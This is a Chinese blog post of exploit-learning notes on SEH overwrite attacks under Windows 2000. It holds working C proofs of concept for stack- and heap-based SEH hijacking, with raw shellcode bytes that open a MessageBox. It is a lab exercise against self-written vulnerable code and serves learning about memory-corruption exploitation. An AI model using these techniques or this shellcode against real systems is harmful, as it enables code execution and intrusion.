漏洞利用学习笔记-008-Windows异常处理的利用

SEH的栈利用和堆利用

声明:实验环境为 Windows 2000

本文来源:Moeomu的博客

SEH概述

  • SEH是异常处理结构体(Structure Exception Handler),是Windows异常处理机制采用的重要的数据结构。每个SEH包含两个DWORD指针:SEH链表指针和异常处理函数句柄,共8个字节
  • SEH结构存放在栈中
  • 线程初始化时,自动向栈中安装一个SEH作为线程默认的异常处理
  • 如果程序源代码中使用了try-except等异常处理机制,编译器最终通过向当前函数栈帧中安装一个SEH来实现异常处理
  • 栈中一般会同时存在多个SEH
  • 栈中的多个SEH通过链表指针在栈内由栈顶向栈底串成单项链表,位于链表最顶端的SEH通过TEB0字节偏移处的指针标识
  • 异常发生时,操作系统会终端程序,首先从TEB的0偏移处去除距离栈顶最近的SEH使用异常处理函数句柄指向的代码来处理异常
  • 当离事故现场最近的异常处理函数运行失败时,将顺着SEH链表依次尝试其它的异常处理函数
  • 如果程序安装的所有异常处理函数都不能处理,系统将采用默认的异常处理函数,此函数将弹出错误对话框然后强制关闭程序

SEH利用思路

  • SEH存放在栈内,溢出缓冲区的数据可以淹没SEH
  • 将SEH入口改为shellcode起始地址
  • 溢出后错误的栈帧或堆块数据会触发异常
  • Windows开始处理异常后,将shellcode当作异常处理函数而执行

SEH的栈利用测试

NOP测试

代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <windows.h>

char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90" // next SEH Record
"\x90\x90\x90\x90" // SE Handler Function Address
"\x90\x90\x90\x90" // Nothing
"\x90\x90\x90\x90" // Nothing
"\x90\x90\x90\x90" // EBP
"\x90\x90\x90\x90" // Return Address
;

DWORD MyExceptionhandler(void)
{
    printf("got an exception, press Enter to kill   process!\n");
    getchar();
    ExitProcess(1);
    return 0;
}

void test(char* input)
{
    char buf[200];
    int zero = 0;
    __asm int 3 // used to break process for debug
    __try
    {
        strcpy(buf, input); // overrun the stack
        zero = 4 / zero; // generate an exception
    }
    __except(MyExceptionhandler()){}
}

void main()
{
    test(shellcode);
}

观察

  • 0x0012FE98地址处时shellcode的起始位置
  • 当前线程一共安装了3个SEH,离栈顶最近的位于0x0012FF68,这是最先调用的SEH
  • 我们要覆盖的地址是0x0012FF6C,这是处理函数的地址,内容填入ShellCode的起始地址即可

实际测试

代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <windows.h>

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6B\x61\x6F\x6F\x68\x4D\x69\x73\x61\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90" // Next SEH Record
"\x98\xFE\x12\x00"; // SEH Handler

DWORD MyExceptionhandler(void)
{
    printf("got an exception, press Enter to kill process!\n");
    getchar();
    ExitProcess(1);
    return 0;
}

void test(char * input)
{
    char buf[200];
    int zero=0;
    _try
    {
        strcpy(buf,input); //overrun the stack
        zero=4/zero; //generate an exception
    }
    _except(MyExceptionhandler()){}
}

void main()
{
    test(shellcode);
}

观察

  • 弹出MessageBox对话框成功

SEH的堆利用测试

实际测试

代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <windows.h>

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6B\x61\x6F\x6F\x68\x4D\x69\x73\x61\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00" // head of the ajacent free block
"\x88\x06\x30\x00" // 0x00300688 is the address of shellcode in first
// Heapblock
"\x30\xFF\x12\x00"; // target of DWORD SHOOT

DWORD MyExceptionhandler(void)
{
    ExitProcess(1);
    return 0;
}

void main()
{
    HLOCAL h1 = 0, h2 = 0;
    HANDLE hp;
    hp = HeapCreate(0, 0x1000, 0x10000);
    h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 200);
    memcpy(h1, shellcode, 0x200); // over flow here, noticed 0x200 means
    //512 !
    __asm int 3 // uesd to break the process
    __try
    {
        h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
    }
    __except(MyExceptionhandler()){}
}
Built with Hugo
主题 StackJimmy 设计